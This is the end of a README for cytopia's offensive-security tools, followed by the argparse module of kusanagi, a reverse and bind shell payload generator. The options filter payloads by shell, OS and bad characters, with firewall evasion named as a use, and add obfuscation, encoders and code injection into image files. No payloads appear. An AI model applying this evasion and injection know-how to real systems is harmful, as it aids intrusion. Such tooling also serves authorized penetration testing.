esc challenges | 348 | 349 | [offsec]: https://github.com/cytopia/offsec 350 | [header-fuzz]: https://github.com/cytopia/header-fuzz 351 | [smtp-user-enum]: https://github.com/cytopia/smtp-user-enum 352 | [urlbuster]: https://github.com/cytopia/urlbuster 353 | [pwncat]: https://github.com/cytopia/pwncat 354 | [kusanagi]: https://github.com/cytopia/kusanagi 355 | [badchars]: https://github.com/cytopia/badchars 356 | [fuzza]: https://github.com/cytopia/fuzza 357 | [docker-dvwa]: https://github.com/cytopia/docker-dvwa 358 | 359 | 360 | 361 | ## :octocat: Contributing 362 | 363 | See **[Contributing guidelines](CONTRIBUTING.md)** to help to improve this project. 364 | 365 | 366 | 367 | ## :exclamation: Disclaimer 368 | 369 | This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool. 370 | 371 | 372 | 373 | ## :page_facing_up: License 374 | 375 | **[MIT License](LICENSE.txt)** 376 | 377 | Copyright (c) 2021 **[cytopia](https://github.com/cytopia)** 378 | -------------------------------------------------------------------------------- /kusanagi/args.py: -------------------------------------------------------------------------------- 1 | """Parse command line arguments.""" 2 | 3 | import argparse 4 | import sys 5 | 6 | from .defaults import DEF_BIN, DEF_DESC, DEF_VERSION, DEF_AUTHOR, DEF_GITHUB 7 | from .defaults import DEF_PORT 8 | from .core.output.encoder import argparse_encoder_validate 9 | 10 | # from .core.encoder import argparse_encoder_list 11 | 12 | 13 | # class ListEncoderAction(argparse.Action): 14 | # """Argument action to list available encoder.""" 15 | # 16 | # def __init__( 17 | # self, 18 | # option_strings, 19 | # dest, 20 | # const=None, 21 | # default=None, 22 | # required=False, 23 | # help=None, 24 | # metavar=None, 25 | # ): 26 | # super(ListEncoderAction, self).__init__( 27 | # option_strings=option_strings, 28 | # dest=dest, 29 | # nargs=0, 30 | # const=const, 31 | # default=default, 32 | # required=required, 33 | # help=help, 34 | # ) 35 | # 36 | # def __call__(self, parser, namespace, values, option_string=None): 37 | # """Custom action entrypoint.""" 38 | # argparse_encoder_list() 39 | # sys.exit(0) 40 | # 41 | # # def __init__(self, option_strings, dest, nargs=None, **kwargs): 42 | # # super(ListEncoderAction, self).__init__(option_strings, dest, **kwargs) 43 | # 44 | # # def __call__(self, parser, namespace, values, option_string=None): 45 | # # print('%r %r %r' % (namespace, values, option_string)) 46 | # # #setattr(namespace, self.dest, values) 47 | 48 | 49 | def args_addr(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access 50 | """Create addr positional argumenmt.""" 51 | argument_group.add_argument( 52 | "addr", 53 | type=str, 54 | help="""Address to listen or connect to. 55 | 56 | """, 57 | ) 58 | 59 | 60 | def args_port(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access 61 | """Create port positional argumenmt.""" 62 | argument_group.add_argument( 63 | "port", 64 | nargs="?", 65 | type=int, 66 | default=DEF_PORT, 67 | help="""(Optional) Port to listen or connect to 68 | Default: %(port)i 69 | 70 | """ 71 | % ({"port": DEF_PORT}), 72 | ) 73 | 74 | 75 | def args_lang(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access 76 | """Create -l/--lang argumenmt.""" 77 | argument_group.add_argument( 78 | "-l", 79 | "--lang", 80 | type=str, 81 | nargs="+", 82 | default=[], 83 | help="""The payload language to query. 84 | (e.g.: perl, python, php, etc) 85 | Default: do not filter language. 86 | 87 | """, 88 | ) 89 | 90 | 91 | def args_exe(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access 92 | """Create -e/--exe argumenmt.""" 93 | argument_group.add_argument( 94 | "-e", 95 | "--exe", 96 | type=str, 97 | nargs="+", 98 | default="", 99 | help="""Command that will execute the payload 100 | (e.g.: perl, python, php, nc, sh, bash, cmd, PowerShell, etc) 101 | Default: do not filter by underlying command. 102 | 103 | """, 104 | ) 105 | 106 | 107 | def args_shell(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access 108 | """Create -s/--shell argumenmt.""" 109 | argument_group.add_argument( 110 | "-s", 111 | "--shell", 112 | type=str, 113 | nargs="+", 114 | default=[], 115 | help="""Shell on which the command (specified via -e) 116 | will be executed. Some payloads use crazy output 117 | redirections or pipes that will only work on certain 118 | underlying shells. 119 | (e.g.: dash, sh, bash, zsh, cmd, PowerShell) 120 | Default: do not filter by underlying shell. 121 | 122 | """, 123 | ) 124 | 125 | 126 | def args_badchars( # pylint: disable=protected-access 127 | argument_group: argparse._ArgumentGroup, 128 | ) -> None: 129 | """Create -b/--badchars argumenmt.""" 130 | argument_group.add_argument( 131 | "-b", 132 | "--badchars", 133 | type=str, 134 | default="", 135 | help="""Exclude any payloads that contain the specified bad chars. 136 | This comes in handy if you encounter a Web Application Firewall 137 | that prohibits certain characters. 138 | Default: Ignore badchars 139 | 140 | """, 141 | ) 142 | 143 | 144 | def args_os(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access 145 | """Create -o/--os argumenmt.""" 146 | argument_group.add_argument( 147 | "-o", 148 | "--os", 149 | type=str, 150 | choices=["bsd", "linux", "mac", "solaris", "windows"], 151 | default="", 152 | help="""Only fetch payloads which work on a specific operating system. 153 | Default: fetch for all OS. 154 | 155 | """, 156 | ) 157 | 158 | 159 | def args_maxlen( # pylint: disable=protected-access 160 | argument_group: argparse._ArgumentGroup, 161 | ) -> None: 162 | """Create -m/--maxlen argumenmt.""" 163 | argument_group.add_argument( 164 | "-m", 165 | "--maxlen", 166 | type=int, 167 | metavar="bytes", 168 | default="0", 169 | help="""Exclude any payloads exceeding the specified max length. 170 | 171 | """, 172 | ) 173 | 174 | 175 | def args_obfuscate( # pylint: disable=protected-access 176 | argument_group: argparse._ArgumentGroup, 177 | ) -> None: 178 | """Create --obf argumenmt.""" 179 | argument_group.add_argument( 180 | "--obf", 181 | action="store_true", 182 | help="""Run the fun. This switch will apply obfuscator to all 183 | payloads to get a different set of badchars. 184 | 185 | """, 186 | ) 187 | 188 | 189 | def args_enc(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access 190 | """Create --enc argumenmt.""" 191 | argument_group.add_argument( 192 | "--enc", 193 | nargs="+", 194 | default=[], 195 | metavar="name", 196 | type=argparse_encoder_validate, 197 | help="""Encode the output with one or more encoders. 198 | When encoding multiple times, pay attention to the 199 | order of specifying encoders. 200 | Note that any filtering (-b, -o, etc) is not done on the 201 | encoded payload. Filtering is done before. 202 | To view available encoders, use --list-encoders.""", 203 | ) 204 | 205 | 206 | def args_quick(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access 207 | """Create -q/--quick argumenmt.""" 208 | argument_group.add_argument( 209 | "-q", 210 | "--quick", 211 | action="store_true", 212 | help="""Show quick payload results (less detail). 213 | 214 | """, 215 | ) 216 | 217 | 218 | def args_copy(argument_group: argparse._ArgumentGroup) -> None: # pylint: disable=protected-access 219 | """Create -c/--copy argumenmt.""" 220 | argument_group.add_argument( 221 | "-c", 222 | "--copy", 223 | nargs="?", 224 | metavar="index", 225 | type=int, 226 | default="-1", 227 | help="""Copy last shown payload to clipboard or specify index 228 | of payload to copy to clipboard. 229 | (indices are shown in square brackets next to payload) 230 | 231 | """, 232 | ) 233 | 234 | 235 | def _get_version(): 236 | # type: () -> str 237 | """Return version information.""" 238 | return """%(prog)s: Version %(version)s 239 | (%(url)s) by %(author)s""" % ( 240 | {"prog": DEF_BIN, "version": DEF_VERSION, "url": DEF_GITHUB, "author": DEF_AUTHOR} 241 | ) 242 | 243 | 244 | def get_args() -> argparse.Namespace: 245 | """Retrieve command line arguments.""" 246 | # -------------------------------------------------------------------------- 247 | # Main parser 248 | # -------------------------------------------------------------------------- 249 | parser = argparse.ArgumentParser( 250 | formatter_class=argparse.RawTextHelpFormatter, 251 | add_help=False, 252 | usage="""%(prog)s [options] addr [host] 253 | %(prog)s -h 254 | %(prog)s -v, --version 255 | %(prog)s -h, --help""" 256 | % ({"prog": DEF_BIN}), 257 | description=DEF_DESC, 258 | ) 259 | 260 | misc = parser.add_argument_group("misc arguments") 261 | misc.add_argument( 262 | "-v", 263 | "--version", 264 | action="version", 265 | version=_get_version(), 266 | help="Show version information and exit", 267 | ) 268 | misc.add_argument("-h", "--help", action="help", help="Show this help message and exit") 269 | 270 | # -------------------------------------------------------------------------- 271 | # Payload parser 272 | # -------------------------------------------------------------------------- 273 | payload_parser = parser.add_subparsers( 274 | metavar="", 275 | dest="payload", 276 | ) 277 | parser_cmd = payload_parser.add_parser( 278 | "cmd", 279 | formatter_class=argparse.RawTextHelpFormatter, 280 | add_help=False, 281 | help="Generate a command to be executed on a shell.", 282 | usage="""%(prog)s cmd [options] addr [port] 283 | %(prog)s cmd -h, --help""" 284 | % ({"prog": DEF_BIN}), 285 | ) 286 | parser_code = payload_parser.add_parser( 287 | "code", 288 | formatter_class=argparse.RawTextHelpFormatter, 289 | add_help=False, 290 | help="Generate source code (e.g.: php).", 291 | usage="""%(prog)s code [options] addr [port] 292 | %(prog)s code -h, --help""" 293 | % ({"prog": DEF_BIN}), 294 | ) 295 | 296 | parser_file = payload_parser.add_parser( 297 | "file", 298 | formatter_class=argparse.RawTextHelpFormatter, 299 | add_help=False, 300 | help="Inject source code in a file (e.g.: php in jpeg).", 301 | usage="""%(prog)s file [options] addr [port] 302 | %(prog)s file -h, --help""" 303 | % ({"prog": DEF_BIN}), 304 | ) 305 | 306 | if len(sys.argv) == 1: 307 | parser.print_help(sys.stderr) 308 | print(file=sys.stderr) 309 | print("Error: the following arguments are required: ", file=sys.stderr) 310 | sys.exit(1) 311 | 312 | # -------------------------------------------------------------------------- 313 | # Positional 314 | # -------------------------------------------------------------------------- 315 | cmd_positional = parser_cmd.add_argument_group("positional arguments") 316 | code_positional = parser_code.add_argument_group("positional arguments") 317 | file_positional = parser_file.add_argument_group("positional arguments") 318 | 319 | # positional addr 320 | args_addr(cmd_positional) 321 | args_addr(code_positional) 322 | args_addr(file_positional) 323 | 324 | # positional [port] 325 | args_port(cmd_positional) 326 | args_port(code_positional) 327 | args_port(file_positional) 328 | 329 | # -------------------------------------------------------------------------- 330 | # Query arguments 331 | # -------------------------------------------------------------------------- 332 | cmd_query = parser_cmd.add_argument_group("query arguments") 333 | code_query = parser_code.add_argument_group("query arguments") 334 | file_query = parser_file.add_argument_group("query arguments") 335 | 336 | # -l/--lang 337 | args_lang(code_query) 338 | 339 | # -e/--exe 340 | args_exe(cmd_query) 341 | args_exe(file_query) 342 | 343 | # -s/--shell 344 | args_shell(cmd_query) 345 | args_shell(code_query) 346 | args_shell(file_query) 347 | 348 | # -b/--badchars 349 | args_badchars(cmd_query) 350 | args_badchars(code_query) 351 | args_badchars(file_query) 352 | 353 | # -o/--os 354 | args_os(cmd_query) 355 | args_os(code_query) 356 | args_os(file_query) 357 | 358 | # -m/--maxlen 359 | args_maxlen(cmd_query) 360 | args_maxlen(code_query) 361 | args_maxlen(file_query) 362 | 363 | # -------------------------------------------------------------------------- 364 | # Mutate arguments 365 | # -------------------------------------------------------------------------- 366 | cmd_mutate = parser_cmd.add_argument_group("mutate arguments") 367 | code_mutate = parser_code.add_argument_group("mutate arguments") 368 | file_mutate = parser_file.add_argument_group("mutate arguments") 369 | 370 | # --obf 371 | args_obfuscate(code_mutate) 372 | args_obfuscate(cmd_mutate) 373 | 374 | # --enc 375 | args_enc(cmd_mutate) 376 | args_enc(code_mutate) 377 | args_enc(file_mutate) 378 | 379 | # -------------------------------------------------------------------------- 380 | # Helper arguments 381 | # -------------------------------------------------------------------------- 382 | cmd_helper = parser_cmd.add_argument_group("helper arguments") 383 | code_helper = parser_code.add_argument_group("helper arguments") 384 | file_helper = parser_file.add_argument_group("helper arguments") 385 | 386 | # -q/--quick 387 | args_quick(cmd_helper) 388 | args_quick(code_helper) 389 | args_quick(file_helper) 390 | 391 | # -c/--copy 392 | args_copy(cmd_helper) 393 | args_copy(code_helper) 394 | args_copy(file_helper) 395 | 396 | # -------------------------------------------------------------------------- 397 | # Misc arguments 398 | # -------------------------------------------------------------------------- 399 | cmd_misc = parser_cmd.add_argument_group("misc arguments") 400 | code_misc = parser_code.add_argument_group("misc arguments") 401 | file_misc = parser_file.add_argument_group("misc arguments") 402 | 403 | # -h/--help 404 | cmd_misc.add_argument("-h", "--help", action="help", help="Show this help message and exit") 405 | code_misc.add_argument("-h", "--help", action="help", help="Show this help message and exit") 406 | file_misc.add_argument("-h", "--help", action="help", help="Show this help message and exit") 407 | 408 | # 409 | # TODO: 410 | # TODO: -o/--obfuscate Run the Fun! 411 | 412 | # TODO: 413 | # TODO: -n/--noob Turn on noob mode 414 | # 415 | # 416 | # -q [no] o , [] 417 | # -q p/proto 418 | # -q d/dir 419 | # -q e/exe 420 | # -q s/shell 421 | # -q c/cmd 422 | # -q b/bad 423 | 424 | # -o/--obfuscate 425 | # -e/--encode 426 | # -n/--noob 427 | 428 | # -c/--copy [num] (by default last one) 429 | # mutate = parser.add_argument_group("mutate arguments") 430 | # mutate.add_argument("-e", "--encode", help="Encode") 431 | 432 | # positional = parser.add_argument_group("positional arguments") 433 | # query = parser.add_argument_group("query arguments") 434 | # mutate = parser.add_argument_group("mutate arguments") 435 | # listing = parser.add_argument_group("listing arguments") 436 | # optional = parser.add_argument_group("optional arguments") 437 | 438 | # -------------------------------------------------------------------------- 439 | # Positional arguments 440 | # -------------------------------------------------------------------------- 441 | # positional.add_argument( 442 | # "payload", 443 | # type=str, 444 | # choices=["cmd", "code"], 445 | # help="""Payload to generate. 446 | # cmd: generate a command to be executed on a shell. 447 | # code: generate executable code (e.g.: php) 448 | # 449 | # """ 450 | # ) 451 | # positional.add_argument( 452 | # "addr", 453 | # nargs="?", 454 | # type=str, 455 | # help="""(Optional) Address to listen or connect to 456 | # 457 | # """ 458 | # ) 459 | # positional.add_argument( 460 | # "port", 461 | # nargs="?", 462 | # type=int, 463 | # default=DEF_PORT, 464 | # help="""(Optional) Port to listen or connect to 465 | # Default: %(port)i 466 | # 467 | # """ 468 | # % ({"port": DEF_PORT}), 469 | # ) 470 | 471 | # cmd_test_arg = parser_cmd.add_argument_group("test group") 472 | # cmd_test_arg.add_argument( 473 | # "port", 474 | # nargs="?", 475 | # type=int, 476 | # default=DEF_PORT, 477 | # help="""(Optional) Port to listen or connect to 478 | # Default: %(port)i 479 | # """ 480 | # % ({"port": DEF_PORT}), 481 | # ) 482 | # cmd_test_arg.add_argument( 483 | # "-h", "--help", action="help", help="Show this help message and exit") 484 | 485 | # -------------------------------------------------------------------------- 486 | # Query arguments 487 | # -------------------------------------------------------------------------- 488 | 489 | # # -q/--query 1 490 | # # -q/--query os linux 491 | # # -q/--query os mac 492 | # # -q/--query shell bind 493 | # # -q/--query proto tcp 494 | # # -b/--badchars "'" 495 | # # -l/--lang 496 | # query.add_argument( 497 | # "-q", 498 | # "--query", 499 | # nargs="+", 500 | # default=[], 501 | # action='append', 502 | # help="""Query shells based on conditions. 503 | # """ 504 | # ) 505 | # 506 | # 507 | # # -------------------------------------------------------------------------- 508 | # # Mutate arguments 509 | # # -------------------------------------------------------------------------- 510 | # mutate.add_argument( 511 | # "-e", 512 | # "--encode", 513 | # nargs="+", 514 | # default=[], 515 | # metavar="name", 516 | # type=argparse_encoder_validate, 517 | # help="""Encode shell code with one or more encoders. 518 | # When encoding multiple times, pay attention to the 519 | # order of specifying encoders. 520 | # To view available encoders, use --list-encoders.""" 521 | # ) 522 | # mutate.add_argument( 523 | # "--quote", 524 | # choices=["single", "double", "auto"], 525 | # default="auto", 526 | # type=str, 527 | # help="""Set the quoting style for inner and outer quotes. 528 | # Some quotes are fixed (not changeable), depending on the 529 | # programming language, operating system or the way it is 530 | # handed over to a command. 531 | # By default, this option is set to auto, which uses 532 | # single quotes on the outside and double quotes inside.""" 533 | # ) 534 | # 535 | # # -q/--quote single, double, auto 536 | # # -s/--shell sh, /bin/sh, bash, auto 537 | # # -w/--wrapper cmd, gif, jpg, none 538 | # # -e/--encode base64 url 539 | # # -q/--query 1 540 | # # -q/--query os linux 541 | # # -q/--query os mac 542 | # # -q/--query shell bind 543 | # # -q/--query proto tcp 544 | # # -b/--badchars "'" 545 | # # -l/--lang 546 | # 547 | # listing.add_argument( 548 | # "--list-languages", 549 | # action='store_true', 550 | # help="""List available languages""" 551 | # ) 552 | # listing.add_argument( 553 | # "--list-payloads", 554 | # action='store_true', 555 | # help="""List available payloads""" 556 | # ) 557 | # listing.add_argument( 558 | # "--list-wrapper", 559 | # action='store_true', 560 | # help="""List available payloads wrapper""" 561 | # ) 562 | # listing.add_argument( 563 | # "--list-encoders", 564 | # action=ListEncoderAction, 565 | # help="""List available encoder""" 566 | # ) 567 | # 568 | # Return arguments 569 | parsed = parser.parse_args() 570 | return parsed 571 | --------------------------------------------------------------------------------